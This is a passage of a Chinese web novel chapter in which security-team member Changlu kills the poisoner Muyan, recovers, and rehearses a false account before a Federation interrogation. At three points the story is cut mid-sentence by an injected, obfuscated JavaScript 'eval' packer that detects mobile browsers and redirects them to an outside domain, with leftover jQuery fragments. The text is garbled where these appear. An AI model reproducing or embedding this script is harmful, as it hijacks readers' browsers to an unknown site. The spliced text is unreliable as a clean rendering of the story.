追踪到集装箱时,太阳已经有一半沉进地平线里了。 暮烟一点也不急。 猎物中毒后挣扎着死去的模样,是她最好的功勋。 根据地上斑驳的血迹,暮烟可以完整想象出唱鹿逃跑时的情景。 神经毒素席卷全身的情况下,唱鹿无法控制自己脚步。 她左摇右晃,还撞到了集装箱的壁面上,留下一个可怖的血手印。 血手印是暮烟的最爱。 恐怖片里经常出现的经典要素,也是猎物垂死挣扎的佐证之一。 当然,唱鹿没有蠢到在集装箱里停留。 角落里的一滩鲜血和一条染血的绷带,说明她曾在这里停歇,还她重新包扎了伤口。 真是顽强。 比想象中要顽强得多。 一般的猎物中了她的毒,不出五分钟就会去见阎王。 毕竟下毒这种事情,她很小就学会了。 母亲是用毒高手,作为母亲的女儿,自然青出于蓝而胜于蓝。 第一个实验品,是她养的小兔子。 第二个实验品,是邻居家吵得人心烦的小孩。 而她真正下手的第一个目标,是懦弱又无能的亲妈。 她明明可以过上更好的生活。 但妈妈总说,如果离开爸爸,母女两人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849790|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这个世界上是活不下去的。 怎么会呢。 只要妈妈愿意在爸爸的饭菜里加点料。 只要,只要妈妈愿意为她多付出一点,而不是哭。 只会哭! 一天就知道哭哭哭! 母亲虽然死了,但暮烟从她身上还是学到了不少东西。 下毒,和示弱。 用毒是真的,柔弱是装的。 装柔弱有许许多多的好处。 不然她也没办法进入安保队,近距离接触到唱鹿。 唱鹿,她的第二个目标。 地上血迹断在了集装箱的一侧壁面下方,人就这么凭空消失了。 呵呵,是把她当傻子耍吗! 没关系。 她有魔方。 Tsuda. 伟大的神祗,必然会引领其眷属,走向最终。 - 唱鹿瘫坐在泥地上,背靠一座由废弃金属堆积而成的垃圾山。 这座垃圾山庞大得如同一只蜷缩沉睡的巨兽,静静地匍匐在报废场的边缘地带,守护着那座金属迷宫。 迷宫里很拥挤,但这里很空。 空得她能看到地平线,看到那枚赤红的丹丸正在沉落。 落日余晖原来也这么刺眼。 唱鹿眯起眼睛,似乎有个人正逆光朝她走来。 人还没走到跟前,被拉长的影子已经碰到了她的足尖。 是暮烟。 暮烟手握着一个完整的魔方,眼神里透出癫狂,语气也愈发高昂: “你看到了吗?这便是神迹!” “是Tsuda赐予我的福祉!” “哈哈哈哈——!” 唱鹿叹气。 为了引暮烟过来,她故意把碎片落在途中。 这种伎俩对熟手来说很幼稚,但用来对付暮烟刚刚好。 唱鹿怎么都没想到,完整的魔方会让暮烟变得如此…… “你疯了。” 暮烟双手捧着魔方,脑袋以诡异的角度一歪。 正常人要是想做个动作,除非脊椎断了,否则永远不可能歪头到这种程度。 她盯着她。 咧嘴一笑,嘴巴咧到了耳根。 暮烟从喉咙深处挤出嘶哑难懂的语句,隐约能听出是: “亵渎神灵的蝼蚁,将会死在日落之前。” 她反手握刀,如同野兽般在地上伏低身子,嘶吼着朝唱鹿扑过来。 唱鹿冷漠地注视着她。 失去碎片后,正面直击危险再也不会有警鸣。 但她有的是实战经验。 暮烟一刀捅进唱鹿的侧腰,唱鹿吃痛却只皱了下眉头,反身把她压在地上。 受伤的左手抵住她的喉咙,发了狠劲地往死里压。 “哈哈哈——”早已陷入疯狂的女孩放声大笑起来,“你杀不了我!你杀不了我!” 她飞速拔出刀子,换了只手,再度朝唱鹿挥来。 腹部的凉意让唱鹿低下头。 蓝色的制服被划破长长一道,血液从伤口处喷涌而出,将这抹蓝染成暗色。 手上的伤还没好,身上又添一道口子。 可现在也顾不得新伤旧伤。 当务之急是把暮烟杀了。 暮烟见唱鹿完全不顾受伤,稍微愣了一下,改变战术用刀去削她的左耳。 谁知唱鹿根本不怵,眼疾手快擒住她持刀的手,用力往外一折—— 没能成功。 暮烟在她有动作前就松开了刀子,换另一只手接住。 换刀的动作很不熟练,可有魔方的加持,纵使是唱鹿也无法轻易介入夺刀。 “去死吧!” 暮烟的刀尖对准唱鹿的心口,唱鹿高举拳头也瞄准了暮烟的太阳穴。 两人同时朝对方发起进攻。 “砰——” 枪声响起,血花飞溅。 暮烟睁大眼睛,竖瞳凝望着天上的晚霞,喷涌而出的鲜血渗进身下的泥土里。 她苍白的嘴唇嚅嗫道:“蝼蚁……你我皆为,蝼蚁。” 20. 审问 020. “你我,皆是蝼蚁。” 耳畔忽然响起的呢喃,让唱鹿猛然惊醒。 醒来前她还在做梦。 梦见落日、报废场、垃圾山。 她和暮烟在相互厮杀,身上流出血把土地染得殷红。 梦境已远,回到现实的唱鹿环顾四周。 环境并不陌生,嵌入墙内的蓝色微光,光照下隐约能看到轮廓的医疗器械。 眼前是遍布数据的玻璃罩,后背是如云朵般柔软的床垫。 她正躺在一个疗养舱里。 这里是安保队集合点的三楼。 一般情况下没队员会主动上来,因为三楼整一层都是医疗区。 有手术室,急救室,疗养室,还有体检中心。 唱鹿现在就在疗养室的疗养舱内。 疗养舱玻璃罩上的数据有很多,体温,心率,血压,呼吸频率和速度。 还有一系列的异常数据。 比如,失血量和中毒程度。 唱鹿的失血量为5%,中毒程度为3%,不同于其他绿色数据,这两个数据被标记为橙色。 橙色代表正在好转,但还未完全康复。 如果是红色,则表示情况特别糟糕。 另外,还有一项显示为[凝血功能修复程度],分为好几个看不懂的数据。 什么APTT,还有TT……总之,整体数据是绿色的98%。 很好,凝血功能已经恢复得差不多了。 她还注意到玻璃罩上显示的时间是晚上七点多,说明她昏迷至少有两个小时了。 被带回安保队集合点是意料之中的事,就是不知道扶鸢现在怎么样了……今天是交租日,房东太太去敲门了吗? 一道白光从头到尾扫过唱鹿的身体,她同时闻到一股很柔和的香气。 这种气体专门用于医疗,能够让患者放松身心。 唱鹿阖眼,知觉变得沉重。 隐约感觉有什么冰冷尖锐的东西刺进手臂,也没意识去分辨了。 再度醒来已经是三十分钟后。 唱鹿的各项指标都变成了代表健康的绿色,疗养舱也自动掀开。 双脚沾地,她走了两步。 左手和腹部的伤都愈合了,现在只有一道淡淡的粉色,过段时日就会变得自然。 数据显示她体内的毒素已经清除干净。 也确实没有不适的感觉了。 唱鹿径直走出疗养室,准备去搭乘电梯前往一楼看看。 现在这个时间点,其他队员估计都下班回家了。 刚走出几步,前面的分叉口有人在说话。 “什么时候走?” “我说了不算,得看上头的意思。随时了,等最近这些事情一结束,我就得挪过去填补空位。” “准备让唱鹿接任领队?” “没有比她更合适的人选,我还想——” 唱鹿走上前去打断两人的对话,“领队,黄医生。” 黄医生是安保队的合作医师。 她平时很少来集合点,除非有人在工作中受伤才会赶来。 唱鹿和黄医生因公打过几次照面。 总的来说,不熟。 “醒了?”黄医生观察她的脸色,“看来我可以下班了。” 说完又向她招招手,唱鹿意会把手伸过去。 黄医生给她搭脉。 这让唱鹿想起了庸医,于是不自觉抬头,盯着黄医生看。 黄医生和庸医的外貌没有丝毫相似之处。 号脉的手法倒是出奇一致,难道是师出同门? “毒素已经全解了,你还有哪里感觉不舒服吗?“ “没有。” 黄医生松开她的手,“行。回家好好睡一觉,你这次伤得不轻,保不定有什么后遗症。” “希望没有吧,我还想多活几年呢。”唱鹿干笑两声,“那我也可以下班了?” 领队拍了拍唱鹿的肩头,说:“先来我办公室聊聊。” 想必是要聊暮烟的事。 唱鹿早有准备,颔首道:“好。” 三人一同去搭电梯。 唱鹿和领队在二楼走出电梯,黄医生朝她们挥手道别,继续往下。 电梯一出来便是领队办公室了。 再往走廊深处去,还有特殊装备室和智能数据库。 办公室里的都是些工作必需品,很符合领队凡事从简的性格。 领队给她倒了杯热水,又点了下办公桌对面的椅子,“坐吧,你的身体才恢复,能多休息就多休息。” 唱鹿接过杯子,依言坐下。 领队很贴心地等她喝过水,才开口道:“暮烟死了。” 唱鹿垂眸,“嗯。” “说说吧,今天下午报废场里到底发生了什么事。”领队神情严肃,“我要听实话。” 实话二字加了重音。 这是领队在暗示:在她昏迷之际,该调查的都已经调查过了,也掌握了一些有用的线索。她接下来说的每一句话,是真是假,自有线索可以评断。 唱鹿把水杯放在办公桌上,一直没有抬头。 她盯着杯子里的水,表情木然,但语气里满是愧疚,“我们遭到了袭击。” “嗯,继续。” “暮烟为了保护我,被爆了头。” - 唱鹿发现,她还挺有编故事的天赋。 当然,也得归功于扶鸢的善后工作做得好。 车辆报废场的坐地面积太过宽广,且存有物资价值不高,所以除了入口的执勤点外,其他位置都没有安装监控。 物证可以伪造,人证已经死了。 真相到底如何,只有她和扶鸢知道。 说出来的,都是基于真相改编过的故事。 听完故事,领队深深叹了口气,“是我考虑不周。” “突发事件,谁都没想到。” “不,我是知道的。” 领队满脸惭愧,“联邦近来的检测数据显示,在成为受赐者之后,遇袭的概率最高能达到80%!这意味着你哪怕走在路上什么都不做都有可能遇到袭击。” 唱鹿不理解,“因为他们是受赐者?” “按上头的说法,赐福是可以被夺取的,这也许就是原因。” 的确可以被夺取。 因为拥有魔方就拥有赐福,哪怕魔方融入体内,也能从尸体里剖出来。 唱鹿知道,但她不能表现出来。 于是露出诧异的表情。 领队见状也笑了,“没想到吧?我也没想到!我一直惦记着要给安保队招个受赐者,以为有了赐福的依仗就能万事大吉。岂料世事无完美,人算不如天算。” “赐福到底是什么呢?”唱鹿问。 “据说是某种东西,你得到它,就拥有了赐福。”领队说,“联邦内部现有的受赐者不多,暂时还没研究出结果。” 是真的没有,还是已经有了,但不愿意对民众公开? 唱鹿对此很怀疑。 “你明天跟我去一趟联邦分局。” “呃?” 领队无奈地叹了口气,“暮烟是在执行联邦下发的任务时不幸殉职的,上头怀疑凶手可能是刺鲸的人。另外,暮烟还是受赐者,联邦的解剖报告上说她的赐福已被夺取……唉,是我考虑不周,不该让你带着暮烟出任务。” 唱鹿笑笑,“没事,走一趟也好,免得影响安保队后续的工作。” 如此看来,联邦怀疑是刺鲸的人袭击她们并拿走了暮烟的魔方。 联邦…… 不管她怎么躲,终究还是会遇上。 * 唱鹿一回到家,闻到厨房飘来饭香。 她倚在厨房的门框上,看着正在忙活着烧菜的扶鸢,调侃道:“你还会做饭?” 扶鸢头也不回,把一枚鸡蛋打进碗里,“风铃被带走后的第二年妈妈就去世了。我一个人生活,总得学会怎么喂饱自己。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856117|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你爸呢?” “他是个研究员,有一次跟队前往坍缩污染区采样,死在了污染区里。” 这个话题不适合继续聊下去。 唱鹿干咳两声,走进厨房想帮忙打打下手。 刚洗完手,发现窗台上放着几条挑完刺的小鱼,“这是……?” “我看到阳台上有猫毛,以为你养了猫。” 猫! (脏话消音),差点把这事忘了! 唱鹿急忙朝阳台望了眼,没看见那只黑猫,“它来过吗?” “谁?” “那只猫!” “没有。”扶鸢见她脸色不对,“怎么?” “那块魔方碎片,是一只红瞳黑猫叼给我的。暮烟家有猫窝,还让我帮忙找猫,也是红色瞳孔的黑猫。”唱鹿的声音渐渐低下去,“你也知道,我的碎片就是暮烟那块魔方的一角。” 扶鸢惊讶,“你怀疑那只猫有问题?” 唱鹿沉下脸色,“如果那是同一只猫的话……这个猜想是不是很荒谬?” 扶鸢认真思考了片刻,说:“在我的世界的确荒谬,但这个世界什么都可能发生。或许,有一种能让人变成动物的赐福呢?” “……” 唱鹿不敢细想。 真是如此,那她岂不是一直被牵着鼻子走? 扶鸢看出她的担忧,不着声色地扯开话题:“你的伤怎么样了?” 唱鹿下班后换了自己的衣服,看不出伤势。 她用左手摸了摸腹部,“已经好了。你呢,痛吗?” “痛。但应该比不上我快死的时候。” 两人转移到客厅。 吃着晚饭,继续闲聊。 “袭击N278港口的那晚,没人看见你的脸吧?” “没有,我一直戴着头盔。” “联邦分局让我明天过去,我打算把今天这事推到你身上——嫌疑犯X。” 扶鸢停下筷子,偏头看向她,“你好像比我所知的还要聪明。” “噢,看来你是要夸我了。”唱鹿没皮没脸道,“那我可要洗耳恭听了,您请说。” 扶鸢扯了扯嘴角。 想怼她两句,偏又看见她脸上还有大战时溅到的几滴血渍,没说出口。 暮烟死后,唱鹿趁着尚有一丝清醒,把一切可能都想到了。 她让扶鸢把现场布置成被突袭的样子。 甚至想到了如果一切顺利,她会在八点钟左右回到家。 如果没有准时回来,则说明她被移交到了联邦手上,扶鸢必须立马离开这个屋子。 扶鸢都听进去了。 做完善后工作,带走魔方,她在家坐立不安地等了快三个小时。 看到墙上的挂钟马上指向八点,想着唱鹿回来肯定该饿了,才进厨房开始做饭。 “回来就好。”扶鸢轻声说了句。 唱鹿能回来,说明事情是往最好的方向的发展。 突如其来的煽情让唱鹿有点不自在。 看着这一桌的菜,她有了缓解尴尬的话头,“对了,我还想问你……” 没说完,门被敲响了。 “交租!”房东太太在外头高喊着,“我看见你回来了,今天再不交租就给我滚蛋!” 这大嗓门,喊得唱鹿心头咯噔一下。 该交租了,可她手头上钱是真的不够。 前天才把摩托车交给地菩萨,过几天能源箱换好了,还得给修理费呢…… 哪怕先向地菩萨赊账,钱也还是不够。 唱鹿深呼吸,刚想开门接受房东太太的责骂。 扶鸢抢先搭上了门把手,“我来。” 门一开,房东太太的大嗓门又来了,“唱鹿!你不是说她不住这里吗!” 扶鸢脸上挂着微笑,“多我一个,加上水电一共多少房租?” 房东太太斜眼睨她,冷哼一声没说话。 “您报个数。”扶鸢保持礼貌,“房租我来给。” 21. 复盘 021. 转账,道别,关门。 一气呵成。 扶鸢一转身,看到唱鹿站在一旁似笑非笑地看着她,“原来你还是个有钱人。” “初来乍到,总得有点启动资金。”话时,她做了个握拳的手势。 这些钱大抵是扶鸢刚进游戏时从某个倒霉的NPC手上搞来的。 金额一定不小。 因为唱鹿留意到扶鸢的左手上多了一枚戒指—— 没有任何装饰,极其不起眼。 唱鹿一眼看出这枚戒指其实是一个造价不菲的定制型通讯器。 市面上最常见的通讯器是环状,可以当手镯,也可以当脖环,价格在三千通用币左右。 而其他任何造型、体积更小的通讯器皆为定制,造价最低一万通用币。 唱鹿的耳坠便是定制款。 从设计到制作,整套流程走下来一共花了五万通用币,世上仅此一副。 唱鹿挑了下眉头,视线落在扶鸢的戒指上,“三万?” “两万六。”扶鸢答道,“上一个买家临时说不要了,商家打了八折卖给我。” “啧,我还真是小看你了。” 有点心疼被扶鸢宰的那个NPC了。 如此算下来,倒霉蛋至少被扶鸢“取走”了四万有余。 根据上个纪年联邦公开的统计报表,伽马地区居民的平均工资是五千通用币。 这个数据包括在端着联邦铁饭碗、月入过万的米虫们,又排除了满大街无家可归的流浪汉。 平均也才五千通用币。 倒霉蛋接下来的日子要难过了。 扶鸢并不知道这些,只能听出唱鹿话里满满的揶揄。 于是道:“交完两个周期的房租水电,剩下的钱连菜都买不起。” 唱鹿重新端起碗筷,猛地往嘴里扒拉了几口饭,“那我可得赶紧多吃点。” 扶鸢:“……” 这人怎么不按套路出牌! 扶鸢决定主动出击:“合租吗?” 唱鹿没说话。 合租可以省钱,但麻烦事也会变多…… 两个人的性格、生活习惯,方方面面的不同都可能造成矛盾。 唱鹿无法想象和另一个人在同一个屋檐下长期共处的日子。 她自知是个不好相处,也不讨喜的人。 可眼下也没有其他更好的选择了…… 都怪那条链路! “房租水电平摊,你睡客厅。”唱鹿说,“明天我去连锁超市买张能放下来当床的沙发,枕头被褥,还有其他生活用品,你自己想办法解决。” “成交。” 唱鹿斜睨了一眼扶鸢。 她心中还有太多对于“玩家”这一身份的的疑惑未能解答,又不敢主动问出口。 如果联邦有什么监测手段,一问则会暴露,后果不堪设想。 在和扶鸢相处时,唱鹿一直很谨慎。 始终按捺住好奇心,告诉自己不要轻易开口。 扶鸢显然没有接收到唱鹿的脑电波。 她飞速解决完晚饭,麻溜地收拾完桌子,又进厨房打扫。 扶鸢忙碌期间,唱鹿也没闲着。 她从卧室里翻出一副伽马地区的平面地图,又找出几张白纸和一红一蓝两只笔。 等到扶鸢忙完回到客厅,唱鹿已经在地图上用红笔标注出了她这一天的行动路线。 扶鸢见状,也用蓝笔在地图上画出了自己今天的行程。 早上唱鹿出门后,扶鸢又睡了一个多小时才醒来。 她把唱鹿留下的早餐重新加热,吃完后也出了门。 扶鸢先是去买了戒指通讯器,随后又去附近的超市逛了逛,买了点菜和肉。 一趟走下来,回到家已经过了中午十一点。 因为唱鹿说过会给她点外卖,扶鸢便没有起火做饭。 等待期间肚子饿了,便去冰箱里找点吃的垫垫肚子,旋即发现那块被暮烟下过毒的蛋糕,意识到有人准备对唱鹿下手。 “等等。” 唱鹿打断扶鸢的回忆。 她伸手指向地图上红圈与篮圈第一次重叠的位置——A18区。 A18区之后的A19与A20区,红蓝一直重叠在一起。 她着重点了点A18区在地图上的位置,“你是怎么找到我的?” “我的感觉始终趋向于你所在的方向。”扶鸢说,“虽然不能准确定位,但只要顺着找过去就能找到。” “因为你拿走了我的半条命。” “因为你是我的半条命。” 唱鹿不自觉轻咬拇指,“是魔方……它比我想象中还要诡谲。” “它一直在我体内没有消失。”扶鸢抚上心口,似乎是在感受心脏的跳动,“它还会和其他魔方相互吸引——” 扶鸢拿出从暮烟手中夺取到的魔方。 唱鹿也拿出[魔方·拟造]。她一直把它藏在卧室里,刚刚取地图的时候一起带上了。 几乎是在唱鹿亮出[魔方·拟造]的瞬间,扶鸢脱口而出道:“它们在相互排斥。” “是。”唱鹿点头,“我持有碎片时感觉还没那么强烈,可现在……它们似乎很讨厌彼此。” “就像两个彼此看不顺眼的人。” 唱鹿给扶鸢递了个眼色,对方意会,彼此做了交换。 手握魔方的下一秒,提示弹出: [名称:魔方·临危] [简述:持有者遇险之际将响起预警,并使之会相对于袭击者(仅其中之一)增速2倍,持续时间为十秒。] [层级:B级] [隶属:Tsuda] 唱鹿抽出两张空白的纸。 一张完整写下这些提示,又在另一张上写上两个名字: Tsuda、Afkth。 两个名字中间,她画上了双箭头并注明: 排斥。 扶鸢好奇道:“隶属是什么意思?” 唱鹿摇头,“我也还没弄明白,但暮烟将Tsuda尊称为神祗,她说魔方是Tsuda赐予她的神迹,并自称为Tsuda的眷族。” “那Afkth是……?” “你现在手上拿着的那块魔方名为[魔方·拟造],隶属于Afkth,其他信息还是未知。” “意思是你能看到我看不见的东西。” “嗯。” “你的同类也可以?” “我暂时还没遇见过‘同类’。”唱鹿扯了下嘴角,有点不高兴,紧接着转移了话题,“加上你体内的魔方,我们现在有三块魔方,你对它们有什么感觉吗?” 扶鸢将两块魔方平放在手心里,仔细感觉。 十几秒后,她说:“友善,尤其是[魔方·临危]。它在我手中的时候,我感觉不到它在排斥[魔方·拟造]。” 闻言,唱鹿在Tsuda和Afkth的下方又加了一个问号。 同样的用双箭头链接三方,写上友善。 想了想,又在Tsuda和问号的友善后面补上一个加号,代表十分友善。 “你觉不觉得……”扶鸢欲言又止。 “我一直都有这种感觉。” 两人对视一眼,异口同声道: “这些魔方是活的。” 扶鸢喃喃:“虽然这是一个虚拟游戏世界,什么都可能发生,可我还是有点……毛骨悚然。” “这些魔方或许比我们想象的要复杂。” 唱鹿把[魔方·拟造]取走,说:“从现在开始,[魔方·临危]是你的。” “给我?” “[魔方·拟造]和[魔方·临危]不能由一个人同时持有,大川就是最好的证明。强行占有两块相互排斥的魔方,持有者会变成一种很难杀死的怪物。暮烟曾给变异了的大川下毒,给他用具有腐蚀效果的溶剂,可都杀不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14862226|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死他。”后面的情况扶鸢已然明了,唱鹿便不再赘述。 扶鸢心领神会,“好,那就暂时由我保管。” 唱鹿重新取出一张完全空白的纸,覆盖最上面,以最快的速度落笔描绘。 三分钟画完,呈现于纸上的是一副完整的车辆报废场平面图。 扶鸢诧异地微微张开嘴巴,“你……” 受伤外加中毒,还是麻痹神经的毒素,竟然能够记住这么多细节? 这人的脑子到底怎么长的! 她的惊讶,唱鹿已是司空见惯。 每次战后复盘,总有人对唱鹿战时的记忆力感到惊诧。 唱鹿一如既往地解释道:“十几年的实战中锻炼出来的,越是危险时,我能记住的东西越多。性命攸关之际,任何细节都可能成为保命的关键。我就是这么一次次从死神手里逃出来的。” 说完,继续在纸上标注出下午在报废场里的行经路线。 哪里停下对峙,哪里受伤,哪里遇到扶鸢……每个地点都标注得清清楚楚。 自己的部分搞定后,她把纸推给扶鸢,“该你了。” 扶鸢深吸一口气,开始动笔。 她画得很慢,有几处还得唱鹿提醒才能准确落笔。 花了将近一个小时,终于是画完了。 放下笔,扶鸢偏头正紧盯着平面图的唱鹿,“你觉得联邦可能查到这些?” “只要有行动,必然留下痕迹。”唱鹿的手指顺着图上箭头游走,“目前联邦所掌握的技术可以完全还原现场每一个人的行经路线,但具体做了什么,由我们说了算。” * 第二天醒来,唱鹿收到领队的简讯。 两人约好在联邦分局附近的悬浮电轨候车站见面。 今天天气不错,晴空万里。 路过楼下便利店时,唱鹿往店里瞄了一眼。 便利店老板正在和客人聊天,说得兴高采烈,唾沫横飞,还时不时地用手指向门口。 指向昨天流浪汉死掉的位置。 在伽马地区,死亡是一件寻常事。 寻常到甚至可以作为茶余饭后的谈资,时不时拿出来闲聊。 死了一个流浪汉罢了。 联邦都不会管。 电轨车来得很快,抵达目的地只用了不到二十分钟。 唱鹿走下车时,领队已经在站台上等着了。 打过招呼,一起出站,又并肩往联邦分局走去。 领队一路都在安抚她,“只是例循问话,你不用太紧张。问什么就答什么,说实话就行。” 联邦分局的大楼很宏伟。 唱鹿站在大楼门口,不管怎么抬高脑袋,依旧看不见大楼的顶端。 “走吧。”领队拍拍她的肩头。 “嗯。” 两人走进分局大楼。 一进门,人工智能的声音响起:“欢迎来到联邦第十三分局。TP21安保队领队俞瑶,请到三楼休息室等候。TP21安保队副手唱鹿,请到四楼问讯室等候。指示已开启,请根据地面箭头指应乘坐电梯。” 领队是联邦分局的常客。 没等人工智能说完,她已经领着唱鹿进了电梯,人工智能自动帮她们选择了三楼和四楼。 电梯很快抵达三楼。 领队走出去前说:“我在休息室等你。记住,问什么就答什么,说实话。” 门重新关上,电梯继续上行。 四楼到了,地面箭头再度出现,指引唱鹿走向问讯室。 问讯室里只有一张桌子,两把椅子。 唱鹿随便选了张椅子坐下。 人工智能的声音再度响起:“如果您感到口渴或饥饿,请及时告诉我。如果没有任何需求,请您耐心等待。” 是了,接下来就是等。 一小时,两小时,甚至是十小时。 枯坐着,熬心态。 这是联邦审讯犯人的惯用手段。 22. 犯人 022. 联邦第十三分局,五楼C6监控室。 偌大的办公室内,四角皆有一面极其宽阔的悬浮屏。 这些悬浮屏被黑线切割成好几个部分,分别映照出分局里不同房间的影像。 休息室,会议室,也有被着重放大的审讯室。 负责监视四楼审讯室的警员正在喝咖啡。 这个女人走进审讯室已然过去了四个小时,现在是—— 他抬头瞥了眼悬浮屏右上角的时间,正好是十二点,午饭时间。 联邦有员工食堂,每天开工之前人工智能都会向每个员工登记今天想吃什么,到点就有机器人送饭到办公室来。 饿了,他只需要坐在这里等着。 可问题是为什么审讯室里的女人还是没有动静呢? 四个小时。 她坐在椅子上一动不动。 不说话,不喝水,也不需要上厕所。 看样子也不准备向人工智能提出要吃午饭……这毅力,还是人吗? “嘿,情况怎么样?”同事过来向他问候。 上班太无聊了,闲聊几句正好打发时间。 他伸了个懒腰,“每天都盯着这些屏幕,眼睛都花了。” “听你这意思是想跟那群特警一样,每天跑外勤抓犯人?赚的钱是多一点,可要命呐!还不如日复一日。” “嗯,日复一日……但你别说,今天这人确实有点不一样。” 听完他的描述,同事抬头去看悬浮屏上四楼审讯室的画面。 若不是屏幕上还标注着疑犯的体温、心率之类的数据,这木头似的一动不动还真会让人以为…… 同事把桌上的资料拉过来一看,“TP21安保队的副手,挺年轻。” 几秒浏览完,又说:“她是有一点嫌疑,可昨天死了的那位更不干净。随便盯盯得了,有人工智能在,出不了什么大事。” “说得也是。” 闲聊还没结束,监控室的门开了。 有人进来,不止一个。 同事赶紧回到原位,他也调整回原来的姿势,摆出一副认真监视的模样。 来人停在身后,他没有回头。 后头这位是负责审讯的特警队长,按常理会先询问疑犯的动向,他耐心等着。 可对方一句话没说。 她先点开了疑犯的资料,又把监控屏幕放到最大。 约莫过了有五分钟,她才将视线从监控画面上收回,对跟在身侧的另一个女人说:“她让我想起一个人。” 女人皱了下眉头,“队长,你是怀疑……?” “你不觉得吗?” “……” 女人抬眸端详悬浮屏上的那张脸。 年轻,没有表露出任何情绪。 明明身处审讯室,已经关了四个多小时,却丝毫看不出慌张,身上有一种与年龄不符的镇静。 “除了头发的颜色有点相似,其他的我没看出来。” “她是我活到现在遇见过的第二个拥有这种发色的人。” “那她会不会是那个人的……” “据我所知。那个人没有后代。而且资料里所写的出生年份也对不上。” “这些都可以伪造。” “派人给她采血送去化验对比,以防万一。” 特警队长把与唱鹿相关的资料还给监视员,“再熬五个小时,看看她的意志到底能有多坚定。” - 唱鹿百无聊赖地坐着。 现在已过下午五点,距离她走进这间审讯室后,已经过去了九个多小时。 由始至终,她一直保持着同样的姿势。 不吃饭,不喝水。 就像她小时候在孤儿院里被关禁闭那样。 又过了半个小时,终于有人来了。 是一个素未谋面的女人。 女人身量很高,体格健壮,进来后直接坐在唱鹿对面。 “我叫苍镹,第十三分局特警一队的队长,也是你的审讯官。”女人平静地说。 “你好。”唱鹿给予同样淡漠的回应。 苍镹微微一笑,“那我就直接进入正题了。昨天下午在坐标(22,457)附近的车辆报废场中,TP21安保队的实习队员暮烟死于狙击爆头,而你也身负重伤昏迷不醒。现在你有十分钟时间,重新描述一下事情的起因、经过和结果。” 话音方落,人工智能已在桌子右侧投影出一个车辆报废场的立体结构图。 图上有三个点,分别是红色、绿色与蓝色。 红色代表袭击者,绿色是唱鹿,蓝色则为暮烟。 人工智能将会根据唱鹿接下来的描述,在结构图中模拟出三个人的行经路线。 这也是联邦判断她是否说谎的重要依据之一。 唱鹿早料到会有这一出。 她昨晚和扶鸢对了好几次口供,捋出了一条完美的路线,此时正好派上用场。 当然。 说出来的不能太完美,必须有点漏洞。 过于完美,就像编的。 唱鹿娓娓道出,苍镹耐心听着。 人工智能则按照她的一字一句,画出了一条断断续续的行经路线。 叙述结束,立体结构图也消失了。 人工智能会在后台进行数据对比,等对比结果出来就知道第一关过没过了。 期间苍镹又问了几个不痛不痒的问题,唱鹿一一回答。 很快,人工智能便将对比结果发到了苍镹手上。 从对方的表情来看,唱鹿已经初步摆脱了嫌疑。 只是初步。 “调查资料显示,你曾在几天前去过N278港口。” “是。” “去做什么?” “押镖。” “有没有见过这个人?”苍镹亮出大川的半身照。 “有,他是那天晚上押镖的负责人。” 苍镹点点头,又道:“在暮烟加入TP21安保队的前一晚,你们见过面。” “她在论坛发布兼职广告,我接下了她的活儿。” “她让你去找——”苍镹的手挪到大川的半身照上,重重点了两下,“他。” “是。” “然后?” “我去了Nest酒吧,问了大川的女朋友,最后找到一栋由工厂改建而成的出租楼。如果我没记错,应该是305号房。” “你见到大川了?” “没有。大楼停电,楼内的居民很恐慌,还有人正准备报警。我没敢上去,怕惹祸上身。” 苍镹又笑了,是冷笑,“你说你怕惹祸上身,可你明知大川是刺鲸的人。” “当时我并不知道联邦会将刺鲸定性为犯罪组织。联邦发布宣告明明是在前天,而我接下这份工作是在大前天,不是吗?” 言下之意: 我什么都不知道,我可是个守法好公民。 “……的确。” 苍镹眯起眼睛,用一种审度的眼神观察着她,“然而当天联邦已经在裁撤刺鲸在伽马地区发布的一切东西,就连最普通的居民也有所察觉。你作为安保队的一员,如今被关了九个小时还能保持头脑清醒,我不相信你会缺乏这点敏感度。为什么?” “我缺钱。”唱鹿直视回去,用一种最寻常的语调说,“我拖欠了两个周期的房租,刚赊账换了摩托车的能源箱。请问负债累累的我有什么理由拒绝一个钱多事少的兼职呢?” 苍镹的表情变得有点复杂。 眼神明显流露出欣赏,却又尚未完全打消怀疑。 “你有看到袭击你们那个人的脸吗?”见唱鹿摇头,苍镹补充道,“那么,犯人有什么比较明显的身体特征吗?” “身材偏瘦,看不出男女和种族。戴了个头盔,很普通的全包式纯黑色头盔。” 苍镹了然,又取出另一张照片,推到唱鹿眼前,“和这个人像吗?” 